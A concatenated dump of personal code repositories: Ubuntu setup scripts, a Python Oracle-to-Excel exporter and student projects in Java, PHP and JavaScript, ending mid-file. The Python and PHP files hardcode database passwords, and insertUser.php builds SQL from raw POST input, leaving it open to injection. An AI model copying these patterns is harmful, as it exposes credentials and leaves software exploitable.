sudo tee /etc/apt/sources.list.d/mongodb-org-3.6.list'; sudo apt-get -y update && sudo apt-get -y upgrade; sudo apt-get install -y mongodb-org; # install vim dependencies mkdir -p ~/.vim/colors; sudo apt-get install -y ctags python-dev python3-dev; wget https://raw.githubusercontent.com/dracula/vim/master/colors/dracula.vim -O ~/.vim/colors/dracula.vim; git clone https://github.com/VundleVim/Vundle.vim.git ~/.vim/bundle/Vundle.vim; mkdir -p ~/bin; curl https://beyondgrep.com/ack-2.22-single-file > ~/bin/ack && chmod 0755 ~/bin/ack; vim +PluginInstall +qall; ~/.vim/bundle/YouCompleteMe/install.py --js-completer --clang-completer --rust-completer --go-completer; pushd ~/.vim/bundle/vimproc.vim; make; popd; # instal grv wget -O grv https://github.com/rgburke/grv/releases/download/v0.1.3/grv_v0.1.3_linux64; chmod +x ./grv; mkdir -p ~/bin; mv grv ~/bin/grv; <file_sep>#!/bin/bash exec openbox-session; xrdb ~/.Xresources; <file_sep># prepare rm -rf ~/.themes; # retrieve needed packages wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb; curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg; sudo mv microsoft.gpg /etc/apt/trusted.gpg.d/microsoft.gpg; sudo sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/vscode stable main" > /etc/apt/sources.list.d/vscode.list'; sudo sh -c 'echo "\n\n# Custom code" >> /etc/apt/sources.list'; sudo sh -c 'echo "\ndeb http://archive.getdeb.net/ubuntu zesty-getdeb apps" >> /etc/apt/sources.list'; wget -q -O- http://archive.getdeb.net/getdeb-archive.key | sudo apt-key add - ; wget -qO - https://download.sublimetext.com/sublimehq-pub.gpg | sudo apt-key add -; echo "deb https://download.sublimetext.com/ apt/stable/" | sudo tee /etc/apt/sources.list.d/sublime-text.list sudo add-apt-repository ppa:jtaylor/keepass; wget https://noto-website-2.storage.googleapis.com/pkgs/Noto-hinted.zip; # finally install all sudo apt-get update; sudo apt-get install -y --fix-missing dmenu rxvt-unicode xclip openbox obconf xinit build-essential pkg-config xorg lxappearance nautilus nautilus-dropbox firefox libxss1 libappindicator1 libindicator7 sublime-text code polybar apt-transport-https git-gui tint2 xdotool gimp keepass2 lxinput arandr wicd wicd-gtk; sudo dpkg -i google-chrome*; sudo apt-get install -y --fix-broken; # force to install afterwards sudo apt-get install -y --fix-missing dmenu rxvt-unicode rxvt-unicode-256color xclip openbox obconf xinit build-essential pkg-config xorg lxappearance nautilus nautilus-dropbox firefox libxss1 libappindicator1 libindicator7 sublime-text code polybar apt-transport-https git-gui tint2 xdotool gimp keepass2; sudo dpkg -i google-chrome*; # update alternatives sudo update-alternatives --set x-terminal-emulator /usr/bin/urxvt; sudo install -d -m755 /usr/share/fonts/noto; sudo unzip Noto-hinted.zip -d /usr/share/fonts/noto; sudo chmod 0644 /usr/share/fonts/noto/*; git clone https://github.com/dglava/arc-openbox.git ~/.themes; git clone https://github.com/shlinux/faenza-icon-theme.git faenza; # setup fc-cache -f -v; ./faenza/INSTALL; # cleanup rm -rf Noto*; rm -rf google-chrome*; rm -rf faenza;
784adfabc241d7914a8107f67452c6968012126a
[ "Markdown", "INI", "Shell" ]
8
Shell
joesantosio/setup
0c680188c0a18e0b0dce02f3e9bd33087515b3de
20b2c155dbbb39107ac04a95eb82affd4b659131
refs/heads/master
<repo_name>CharlesChen0823/Python<file_sep>/testOracle.py #! /usr/bin/env python # coding=utf-8 import xlwt, cx_Oracle, datetime import csv from xlsWriter import xlsWriter __s_date = datetime.date(1900,1,1).toordinal() - 1 ''' Excel中的日期为浮点数则转为标准日期格式 ''' def getdate(date): if isinstance(date, float): date = int(date) d = datetime.date.fromordinal(__s_date + date) return d.strftime("%Y%m%d") def getYesterday(): today = datetime.date.today() oneday = datetime.timedelta(days = 1) yesterday = today - oneday return yesterday print getYesterday().strftime("%Y-%m-%d") def initialization_Oracle(): username = "sge" userpwd = "sge" host = "172.16.17.32" port = 1521 dbname = "sgeslt" tns = cx_Oracle.makedsn(host,port,dbname) db = cx_Oracle.connect(username,userpwd,tns) return db def getDataFromTACCOUNT(sql, db): try: cr = db.cursor() rslist = [] rs = cr.execute(sql) title = [i[0] for i in rs.description] rslist = rs.fetchall() except: cr.close() db.close() return rslist,title if __name__ == '__main__': db1 = initialization_Oracle() tablename = 'T_WAREHOUSESTORAGEWASTEBOOK' sql = "select * from " sql = sql + tablename ft = xlwt.Font() ft.height = 0x00C8 ft.bold = True ft1 = xlwt.Font() ft1.bold = False style0 = xlwt.XFStyle() style0.font = ft style1 = xlwt.XFStyle() style1.font = ft1 createdate = str(datetime.datetime.now().strftime('%Y%m%d')) xlsname = tablename+ str(createdate) + '.xls' xlswrite = xlsWriter(u'.\\'+xlsname) sheetName = tablename rslist = [] rslist,title = getDataFromTACCOUNT(sql,db1) g = lambda k: "%-8s" %k title = map(g,title) print len(rslist) xlswrite.writerow(title,style0,sheet_name = sheetName) for p in rslist: xlswrite.writerow([ '' if p[0] is None else p[0].decode('gbk').encode('utf-8'), '' if p[1] is None else p[1], '' if p[2] is None else p[2].decode('gbk').encode('utf-8'), '' if p[3] is None else p[3].decode('gbk').encode('utf-8'), '' if p[4] is None else p[4].decode('gbk').encode('utf-8'), '' if p[5] is None else p[5].decode('gbk').encode('utf-8'), '' if p[6] is None else p[6].decode('gbk').encode('utf-8'), '' if p[7] is None else p[7], '' if p[8] is None else p[8], '' if p[9] is None else p[9].decode('gbk').encode('utf-8'), '' if p[10] is None else p[10]], style1, sheet_name = sheetName) del rslist[:] xlswrite.save() print 'finished.' <file_sep>/xlsWriter.py #!/usr/bin/python # coding: utf-8 # xlsWriter.py # by <NAME> # Date: 2018/04/26 import xlwt class xlsWriter(object): """ """ def __init__(self, file, encoding = 'utf-8'): self.file = file self.encoding = encoding self.workbk = xlwt.Workbook() self.sheets = {} def create_sheet(self, sheet_name = 'sheet'): """ """ if sheet_name in self.sheets: sheet_index = self.sheets[sheet_name]['index'] + 1 else: sheet_index = 0 self.sheets[sheet_name] = {'header':[]} self.sheets[sheet_name]['index'] = sheet_index self.sheets[sheet_name]['sheet'] = self.workbk.add_sheet('%s%s' % (sheet_name, sheet_index if sheet_index else ''), cell_overwrite_ok= True) self.sheets[sheet_name]['row'] = 0 def cell(self, s): if isinstance(s, basestring): if not isinstance(s, unicode): s = s.decode(self.encoding) elif s is None: s = '' else: s = str(s) def writeRow(self, row, xlsstyle, sheet_name = 'sheet'): if sheet_name not in self.sheets: self.create_sheet(sheet_name) if self.sheets[sheet_name]['rows'] == 0: self.sheets[sheet_name]['header'] = row if self.sheets[sheet_name]['rows'] >= 65534: self.save() sheet_name = sheet_name + '1' self.create_sheet(sheet_name) if self.sheets[sheet_name]['header']: self.writeRow(self.sheets[sheet_name]['header'], sheet_name) for ci, col in enumerate(row): self.sheets[sheet_name]['sheet'].write(self.sheets[sheet_name]['rows'], ci, self.cell(col) if type(col) != xlwt.ExcelFormula.Formula else col, xlsstyle) self.sheets[sheet_name]['rows'] += 1 def writeRows(self, rows, style, sheet_name = 'sheet'): for row in rows: self.writeRow(row, style, sheet_name) def save(self): self.workbk.save(self.file) if __name__ == '__main__': xlsname = " " xlsWriter = xlsWriter(xlsname)
2184456a63b858d5fb00cb1f8ff59fe5743b23a2
[ "Python" ]
2
Python
CharlesChen0823/Python
385dcf515f3a4bc671da26278d9bf3a884b1f463
eaf6683fecd9b3da28edd7008236a75d8d7b4de5
refs/heads/master
<repo_name>akshaymatoo/Academic-Projects<file_sep>/Web Data Management and XML/XML Storage and Quering SQLITE/README.txt Project Description: http://lambda.uta.edu/cse5335/spring14/project8.html<file_sep>/Software Engineering/Feedback Android Application/Website&Databasescripts/insertUser.php <?php $user_id= $_POST["userid"]; $name = $_POST["name"]; $number = $_POST["number"]; $email = $_POST["email"]; $date = $_POST["date"]; $today = date("Y-m-d"); $con=mysqli_connect("omega.uta.edu","axm5553","Rb31kU83","axm5553"); //$con=mysqli_connect("localhost","root","root","Feedback"); // Check connection if (mysqli_connect_errno()) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } $query = "INSERT into user(user_id,name,phone_number,email,date_of_birth,current_dt) values ('".$user_id."','".$name."',".$number.",'".$email."','".$date."','".$today."')"; $result = mysqli_query($con,$query,MYSQLI_USE_RESULT); if($result){ echo "Success"; } else{ echo "Failure"; } mysqli_close($con); ?><file_sep>/Software Engineering/Feedback Android Application/Admin/src/com/se1/admin/AdminUpdateActivity.java package com.se1.admin; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.util.ArrayList; import java.util.List; import org.apache.http.HttpEntity; import org.apache.http.HttpResponse; import org.apache.http.NameValuePair; import org.apache.http.client.HttpClient; import org.apache.http.client.entity.UrlEncodedFormEntity; import org.apache.http.client.methods.HttpPost; import org.apache.http.impl.client.DefaultHttpClient; import org.apache.http.message.BasicNameValuePair; import com.se1.admin.util.Util; import com.se1.admin.R; import android.os.Bundle; import android.app.Activity; import android.content.Context; import android.content.Intent; import android.util.Log; import android.view.Menu; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.Toast; /** * @author <NAME> * Class Name : AdminUpdateActivity * Description : This class displays the update screen where the admin can update the details. */ public class AdminUpdateActivity extends Activity { EditText phone_number; EditText email_id; EditText comments; Button update; Button logout; Admin admin; /* (non-Javadoc) * @see android.app.Activity#onCreate(android.os.Bundle) */ @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_manager_update); phone_number = (EditText)findViewById(R.id.phone_number); email_id = (EditText)findViewById(R.id.email_id); comments = (EditText)findViewById(R.id.comments); update = (Button)findViewById(R.id.update); logout = (Button)findViewById(R.id.button1); //Deserializes the object admin to get the username . admin = (Admin) getIntent().getSerializableExtra("AdminObject"); final Context context = this; //Assigns the clicklistner on the update button update.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { String message=""; //Validations for the proper user input if(!Util.isNumberValid(String.valueOf(phone_number.getText()))){ phone_number.setError("Please enter valid phone number.Requires 10 digits"); return; } if(!Util.isEmailValid(String.valueOf(email_id.getText()))){ email_id.setError("Please enter valid email id"); return; } if(!Util.isCommentsValid(String.valueOf(comments.getText()))){ comments.setError("Enter proper comments.Atleast 10 characters"); return; } String result =updateInformationForManager(); if(result.trim().equals("Success")){ phone_number.setText(""); email_id.setText(""); comments.setText(""); message="Details updated successfully"; Toast msg = Toast.makeText(AdminUpdateActivity.this, message, Toast.LENGTH_SHORT); msg.show(); Intent intent = new Intent(context, AdminHandler.class);//Goes back to the handler screen on sucessful update intent.putExtra("AdminObject", admin); startActivity(intent); } } }); //Assign the onclick listner to on the logout button to get back to the login screen logout.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent intent = new Intent(context, AdminActivity.class); startActivity(intent); } }); } /** * Method Name : updateInformationForManager * Description : This method takes the input from the user and updates the information in the database. * @return : String from the database */ public String updateInformationForManager() { String result=""; BufferedReader reader=null; try { HttpClient httpclient = new DefaultHttpClient(); HttpPost httppost = new HttpPost( "http://omega.uta.edu/~axm5553/admin/updateManager.php"); List<NameValuePair> pairs = new ArrayList<NameValuePair>(); pairs.add(new BasicNameValuePair("username",admin.getUserName())); pairs.add(new BasicNameValuePair("password",<PASSWORD>())); pairs.add(new BasicNameValuePair("number",String.valueOf(phone_number.getText()))); pairs.add(new BasicNameValuePair("email",String.valueOf(email_id.getText()))); //Log.i("INFO","username"+user.getUser_name()+" password"+<PASSWORD>()+"phone "+String.valueOf(phone_number.getText())+" email "+String.valueOf(email_id.getText())); httppost.setEntity(new UrlEncodedFormEntity(pairs)); HttpResponse response = httpclient.execute(httppost); HttpEntity entity = response.getEntity(); InputStream is = entity.getContent(); reader = new BufferedReader( new InputStreamReader(is, "iso-8859-1"), 8); StringBuilder sb = new StringBuilder(); String line = null; while ((line = reader.readLine()) != null) { //System.out.println("line :" + line); sb.append(line + "\n"); } is.close(); result =sb.toString(); } catch (IOException e) { Log.e("Error", e.toString()); Toast msg = Toast.makeText(AdminUpdateActivity.this, e.toString(), Toast.LENGTH_SHORT); msg.show(); }finally{ if(reader!=null) try { reader.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } return result; } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.manager_update, menu); return true; } } <file_sep>/Software Engineering/Feedback Android Application/Website&Databasescripts/averagerating.php <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="refresh" content="15"> <title>Feedback Average Rating</title> <link href="assets/css/bootstrap.css" rel="stylesheet"> <link href="assets/css/bootstrap-responsive.css" rel="stylesheet"> <link href="assets/css/tablecloth.css" rel="stylesheet"> <link href="assets/css/prettify.css" rel="stylesheet"> <style> body { background-image:url("assets/img/back.jpg"); opacity:5.0; } </style> </head> <body > <div class="container"> <div class="row"> <div class="span12" style="padding:20px 0;"> <?php require ("db_config.php"); $resultArray=array(); $con=mysqli_connect(DB_SERVER,DB_USER,DB_PASSWORD,DB_DATABASE); // Check connection if (mysqli_connect_errno()) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } $query = "SELECT actual_rating FROM user_rating"; $result = mysqli_query($con,$query); $type=array(); while ($row=mysqli_fetch_row($result)) { $type[] = $row[0]; } // select distinct(comments) from comments c, user_rating urwhere c.user_id = ur.user_id $queryComments = "select comments from comments c"; $resultComments = mysqli_query($con,$queryComments); $typeComments=array(); while ($row=mysqli_fetch_row($resultComments)) { $typeComments[] = $row[0]; } $len = count($type); $cnt=0; $i=0; echo"<br>"; echo"<br>"; echo "<h1 align=center>FEEDBACK AVERAGE RATING</h1>"; echo "<a href='averagerating.php'><img align=right src='assets/img/refresh.png' height=50 width=50; ></a>"; //echo "------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------"; echo"<br>"; echo"<br>"; echo "<table align=center border='1' class='tablehead' style='background:#CCC;'>"; echo "<tr class='colhead'>"; echo"<td align='center'><b>Music</b></td>"; echo"<td align='center'><b>Food</b></td>"; echo"<td align='center'><b>Service</b></td>"; echo"<td align='center'><b>Ambience</b></td>"; echo"<td align='center'><b>Comments</b></td>"; echo"<td align='center'></td>"; echo "</tr>"; while($i<$len) { echo "<tr>"; echo"<td align='center' width=140>".$type[$i]."</td>"; echo"<td align='center' width=128>".$type[$i+1]."</td>"; echo"<td align='center' width=185>".$type[$i+2]."</td>"; echo"<td align='center' width=235>".$type[$i+3]."</td>"; if(strlen($typeComments[$cnt]) == 0) echo"<td align='center' width=300>No comments</td>"; else echo"<td align='center' width=300>".$typeComments[$cnt]."</td>"; echo"<td align='center'></td>"; echo "</tr>"; $i=$i+4; $cnt= $cnt+1; } echo "</table>"; $groupQuery ="select r.rating_parameter,avg(actual_rating) as summation from rating r,user_rating ur where r.rating_id = ur.rating_id group by rating_parameter"; $resultGroup = mysqli_query($con,$groupQuery); $tyG=array(); while ($row=mysqli_fetch_row($resultGroup)) { $tyG[] = $row[1]; } $j=0; echo "<table align=center border='1' class='tablehead' style='background:#CCC;'>"; while($j<1){ echo "<tr>"; echo"<td align='center' width=140><b>".sprintf('%0.2f',$tyG[$j+2])."</b></td>"; echo"<td align='center'width=128><b>".sprintf('%0.2f',$tyG[$j+1])."</b></td>"; echo"<td align='center' width=185><b>".sprintf('%0.2f',$tyG[$j+3])."</b></td>"; echo"<td align='center' width=235><b>".sprintf('%0.2f',$tyG[$j])."</b></td>"; echo"<td align='center' width=300><b> </b></td>"; echo"<td align='center'><b>Avg Rating</b></td>"; echo "</tr>"; $j++; } echo "</table>"; mysqli_close($con); ?> </div> </div> </div> <script src="assets/js/jquery-1.7.2.min.js"></script> <script src="assets/js/bootstrap.js"></script> <script src="assets/js/jquery.metadata.js"></script> <script src="assets/js/jquery.tablesorter.min.js"></script> <script src="assets/js/jquery.tablecloth.js"></script> <script type="text/javascript" charset="utf-8"> $(document).ready(function() { $("table").tablecloth({ theme: "stats", striped: true, sortable: true, condensed: true }); }); </script> <file_sep>/README.md Academic-Projects ================= Projects done in MS CSE UT Arlington <file_sep>/Distributed Systems/ElectionAlgorithm/src/electionalgo/ElectionController.java package test; import java.awt.FlowLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.JButton; import javax.swing.JComboBox; import javax.swing.JPanel; import javax.swing.JScrollPane; import javax.swing.JTextArea; /** * @author <NAME> 1000995551 * Class ElectionController is where all the UI components are being made .The election processes are being initiated from here. */ public class ElectionController extends javax.swing.JFrame implements ActionListener { //This is for the serialization and deserialization of the id's private static final long serialVersionUID = 1L; Thread[] threadP = new Thread[5]; private ProcessCreation p1=null; private ProcessCreation p2 = null; private ProcessCreation p3 = null; private ProcessCreation p4 = null; private ProcessCreation p5 = null; //Ui components like button and textpanel are being declared here. private JButton startElection; private JButton assignPort; private JButton crashButton; private JButton restartButton; private JButton exitButton; private JComboBox<String> processList; private JTextArea output; private String pList[] = {"Process1","Process2","Process3","Process4","Process5"}; /** * This is the constructor where process threads are initialised and interface method buildInterface is called. */ public ElectionController() { p1 = new ProcessCreation(1, 9000, this); p2 = new ProcessCreation(2, 12000, this); p3 = new ProcessCreation(3, 14000, this); p4 = new ProcessCreation(4, 11000, this); p5 = new ProcessCreation(5, 7000, this); //this method call makes the UI for the messages buildInterface(); for(int i=0; i<5;i++) { threadP[i] = null; } } /** * Method Name: buidInterface * This method is for making the UI . All the buttons are made on display and the all the action listners for the buttons are set here. */ private void buildInterface() { startElection = new JButton(); assignPort = new JButton(); processList = new JComboBox<String>(pList); crashButton = new JButton(); restartButton = new JButton(); exitButton = new JButton(); output = new JTextArea(); output.setRows(10); output.setColumns(50); output.setEditable(false); //the main scroll panel is being set here JScrollPane sp = new JScrollPane(output, JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); add(sp,"Center"); //all the buttons on the Jpanel are set here JPanel up = new JPanel( new FlowLayout()); up.add(assignPort); up.add(startElection); up.add(processList); up.add(crashButton); up.add(restartButton); up.add(exitButton); add(up,"North"); startElection.setText("Start Election"); startElection.addActionListener(this); assignPort.setText("Assign Port"); assignPort.addActionListener(this); crashButton.setText("Crash Process"); crashButton.addActionListener(this); restartButton.setText("Restart Process"); restartButton.addActionListener(this); exitButton.setText("Exit!!"); exitButton.addActionListener(this); //the buttons are disabled here , so that they are not pressed before the operation happens startElection.setEnabled(false); processList.setEnabled(false); crashButton.setEnabled(false); restartButton.setEnabled(false); setSize(800,400); setVisible(true); pack(); } /** * In this method all the event listners are being set according to the specific button that is pressed. */ public void actionPerformed(ActionEvent evt) { //action on button pressed exit.The application closes if(evt.getSource() == exitButton){ System.exit(0); } //On click of this the election starts . if(evt.getSource() == startElection){ int process = (int) ((int) 1 + (Math.random() * (4 - 1))); p1.electionStart(); processList.setEnabled(true); crashButton.setEnabled(true); restartButton.setEnabled(true); /*if(process==1) p1.electionStart(); if(process==2) p2.electionStart(); if(process==3) p3.electionStart(); if(process==4) p4.electionStart();*/ } //Here the ports are being assigned . if(evt.getSource() == assignPort){ threadP[0] = new Thread(p1); threadP[0].start(); threadP[1] = new Thread(p2); threadP[1].start(); threadP[2] = new Thread(p3); threadP[2].start(); threadP[3] = new Thread(p4); threadP[3].start(); threadP[4] = new Thread(p5); threadP[4].start(); startElection.setEnabled(true); } //Here the crash button is for crasing the process if(evt.getSource() == crashButton){ String processName =(String)processList.getSelectedItem(); if(processName.equals("Process1")) { p1.crashProcess(); threadP[0].stop(); threadP[0] = null; } else if(processName.equals("Process2")) { p2.crashProcess(); threadP[1].stop(); threadP[1] = null; } else if(processName.equals("Process3")) { p3.crashProcess(); threadP[2].stop(); threadP[2] = null; } else if(processName.equals("Process4")) { p4.crashProcess(); threadP[3].stop(); threadP[3] = null; } else if(processName.equals("Process5")) { p5.crashProcess(); threadP[4].stop(); threadP[4] = null; } } //restart button is to restart the already crashed process. if(evt.getSource() == restartButton){ String processName =(String)processList.getSelectedItem(); if(processName.equals("Process1")) { threadP[0] = new Thread(p1); threadP[0].start(); printOutput(1, "Process number1 has been requested to restart again"); p1.electionStart(); } else if(processName.equals("Process2")) { threadP[1] = new Thread(p2); threadP[1].start(); printOutput(2, "Process number2 has been requested to restart again"); p2.electionStart(); } else if(processName.equals("Process3")) { threadP[2] = new Thread(p3); threadP[2].start(); printOutput(3, "Process number3 has been requested to restart again"); p3.electionStart(); } else if(processName.equals("Process4")) { threadP[3] = new Thread(p4); threadP[3].start(); printOutput(3, "Process number4 has been requested to restart again"); p4.electionStart(); } else if(processName.equals("Process5")) { threadP[4] = new Thread(p5); threadP[4].start(); printOutput(5, "Process number5 has been requested to restart again"); p5.electionStart(); }else{ } } } /** * This method is responsible for printing the output on the Jpanel * @param PID * @param msg */ public void printOutput(int PID, String msg) { output.append(msg+"\n"); } /** * This is the main program from where the execution starts * @param args */ public static void main(String[] args) { new ElectionController(); } } <file_sep>/Data Mining/CountWords.java import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; import java.util.HashSet; import java.util.Iterator; import java.util.List; import java.util.Map; import java.util.Set; public class CountWords { public String returnFrequency(String str) { List<String> stringLst = new ArrayList<String>(); Set<String> set = new HashSet<String>(); Map<String,Integer> mp = new HashMap<String,Integer>(); String finalString=""; String arr[] = str.split(" "); for(String a:arr) stringLst.add(a.trim()); set.addAll(stringLst); for(String s:set) { if(!s.equals("") && !s.equals(null)) { //mp.put(s, Collections.frequency(stringLst, s)); //finalString+=s+":"+Collections.frequency(stringLst, s)+" "; finalString+=s+"::::"+Collections.frequency(stringLst, s)+" "; } } return finalString.trim(); } public Map<String,Integer> returnFrequency(List<String> lst) { List<String> stringLst = new ArrayList<String>(); Set<String> set = new HashSet<String>(); Map<String,Integer> mp = new HashMap<String,Integer>(); for(String str:lst){ String arr[] = str.split(" "); for(String a:arr) { if(!a.equals("")) stringLst.add(a.trim()); } } set.addAll(stringLst); for(String s:set) { if(!s.equals("") && !s.equals(null)) mp.put(s, Collections.frequency(stringLst, s)); } return mp; } public Map<Integer,Map<String,Integer>> perDocumentFrequency(List<String> list) { int counter=1; String str=""; Map<Integer,String> mp = new HashMap<Integer,String>(); Map<Integer,Map<String,Integer>> finalMap = new HashMap<Integer,Map<String,Integer>>(); List<String> tempList = new ArrayList<String>(); for(String st:list) { mp.put(counter, st); counter++; } counter =1; Iterator it = mp.entrySet().iterator(); while (it.hasNext()) { Map.Entry pairs = (Map.Entry)it.next(); //System.out.println(pairs.getKey() + " = " + pairs.getValue()); str=(String)pairs.getValue(); tempList.add(str.trim()); finalMap.put(counter,returnFrequency(tempList)); counter++; tempList.clear(); } return finalMap; } } <file_sep>/Web Data Management and XML/TMDB/README.txt This project is to develop a web application to get information about movies, their cast, their posters, etc. This application is developed using plain JavaScript and Ajax. Eeverything is done asynchronously and your web page should never be redrawn/refreshed completely. This means that the buttons or any other input element in your HTML forms must have JavaScript actions, and should not be regular HTTP requests. Just put the text section where one can type a movie title (eg, The Matrix), one "Display Info" button to search, one section to display the search results, and one section to display information about a movie. The search results is an itemized clickable list of movie titles along with their years they were released. When you click on one of these movie titles, you display information about the movie: the poster of the movie as an image, the movie title, its genres (separated by comma), the movie overview (summary), and the names of the top five cast members (ie, actors who play in the movie). URL to have to look is below. http://omega.uta.edu/~axm5553/project2/movies.html<file_sep>/Web Data Management and XML/TMDB/movies.js var table; function initialize () { } function sendRequest () { var xhr = new XMLHttpRequest(); var query = encodeURI(document.getElementById("form-input").value); xhr.open("GET", "proxy.php?method=/3/search/movie&query=" + query); xhr.setRequestHeader("Accept","application/json"); xhr.onreadystatechange = function () { if (this.readyState == 4) { var json = JSON.parse(this.responseText); var str = JSON.stringify(json,undefined,2); var jsonArray = json.results; table = document.getElementById("myTable"); var tableRows = table.getElementsByTagName('tr'); var rowCount = tableRows.length; if(rowCount>0){ for (var x=rowCount-1; x>=0; x--) { table.deleteRow(x); } } if(table.style.visibility=='hidden') table.style.visibility='visible'; for(var i=0;i<jsonArray.length;i++) { var row = table.insertRow(i); var cell = document.createElement('td'); //var cell = row.insertCell(0); cell.innerHTML=json.results[i].title; var val = json.results[i].id; cell.setAttribute("onclick","javascript:foo("+json.results[i].id+")"); row.appendChild(cell); //var cell1 = row.insertCell(1); var cell1 = document.createElement('td'); //cell.appendChild(a); cell1.innerHTML = json.results[i].release_date; row.appendChild(cell1); } var row = table.insertRow(0); var hed = row.insertCell(0); var hed1 = row.insertCell(1); hed.innerHTML="Movie Name"; hed1.innerHTML = "Release Date"; //a.onclick = "foo(this)"; } }; xhr.send(null); } function foo(val) { var box = document.getElementById("box"); box.style.visibility="visible"; var movie_id = val; var url = "/3/movie/"+movie_id; var cast_url = "/3/movie/"+movie_id+"/credits"; var xhr = new XMLHttpRequest(); var query = encodeURI(document.getElementById("form-input").value); xhr.open("GET", "proxy.php?method="+url+"&query=" + query); xhr.setRequestHeader("Accept","application/json"); xhr.onreadystatechange = function () { if (this.readyState == 4) { var json = JSON.parse(this.responseText); makeBox(json,box,url,cast_url); //var str = JSON.stringify(json,undefined,2); //box.innerHTML = "<pre>" + str + "</pre>"; } }; xhr.send(null); } function makeBox(json,box,url,cast_url) { box.innerHTML=""; var image_path = "http://image.tmdb.org/t/p/w185"+json.poster_path; var genres = json.genres; var overview = json.overview; var title = json.title; var str_genere=""; var cast=""; var cast_json; var img =document.createElement("img"); img.src = image_path; var tit = document.createElement("div"); tit.innerHTML = "TITLE : "+title; tit.style.fontWeight = 'bold'; /*var label_title = document.createElement("label"); label_title.setAttribute("for",tit); label_title.innerHTML = "Title";*/ //label_title.appendChild(tit); var ovr = document.createElement("textarea"); ovr.innerHTML+="OVERVIEW:"; ovr.innerHTML+="&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; if(overview==null) ovr.innerHTML += "No Overview displayed"; else ovr.innerHTML += overview; ovr.style.height="200px"; ovr.style.width="400px"; ovr.style.resize='none'; if(genres.length>0){ for(var i=0;i<genres.length;i++) { str_genere += genres[i].name+" ,"; } str_genere = str_genere.substring(0,str_genere.length-1); }else { str_genere="No genere displayed"; } var gen=document.createElement("textarea"); gen.innerHTML+="GENERES:"; gen.innerHTML+="&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; gen.innerHTML += str_genere; gen.style.height="80px"; gen.style.width="400px"; gen.style.resize='none'; var cst; var cast_length=0; var xhr = new XMLHttpRequest(); var query = encodeURI(document.getElementById("form-input").value); xhr.open("GET", "proxy.php?method="+cast_url+"&query=" + query); xhr.setRequestHeader("Accept","application/json"); xhr.onreadystatechange = function () { if (this.readyState == 4) { cast_json = JSON.parse(this.responseText); if(cast_json.cast.length>5) cast_length=5; else cast_length = cast_json.cast.length; if(cast_length>0){ for(var i=0;i<cast_length;i++) { //console.log(cast_json.cast[i].name); cast += cast_json.cast[i].name+" ,"; } cast = cast.substring(0,cast.length-1); } else{ cast="No cast displayed"; } cst = document.createElement("textarea"); cst.innerHTML+="CAST:"; cst.innerHTML+="&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; //console.log("cast :"+cast); cst.innerHTML += cast; cst.style.height="80px"; cst.style.width="400px"; cst.style.resize='none'; box.appendChild(img); box.appendChild(tit); box.appendChild(gen); box.appendChild(document.createElement("br")); box.appendChild(ovr); box.appendChild(document.createElement("br")); box.appendChild(cst); } }; xhr.send(null); } <file_sep>/Distributed Systems/README.txt List Of Projects in Distributed Systems. 1: Client Server - This is a multi threaded client server chat application. 2: Election Algorithm - This project is about solving the coordinator problem.I used token ring algorithm in this to elect the coordinator.<file_sep>/Data Mining/Stemmer.java import java.io.IOException; import java.io.StringReader; import org.apache.lucene.analysis.Analyzer; import org.apache.lucene.analysis.TokenStream; import org.apache.lucene.analysis.en.EnglishAnalyzer; import org.apache.lucene.analysis.tokenattributes.CharTermAttribute; import org.apache.lucene.util.Version; public class Stemmer{ public static String Stem(String text) throws IOException{ StringBuffer result = new StringBuffer(); if (text!=null && text.trim().length()>0){ StringReader tReader = new StringReader(text); Analyzer analyzer = new EnglishAnalyzer(Version.LUCENE_45); TokenStream tStream = analyzer.tokenStream("contents", tReader); CharTermAttribute term = tStream.addAttribute(CharTermAttribute.class); tStream.reset(); try { while 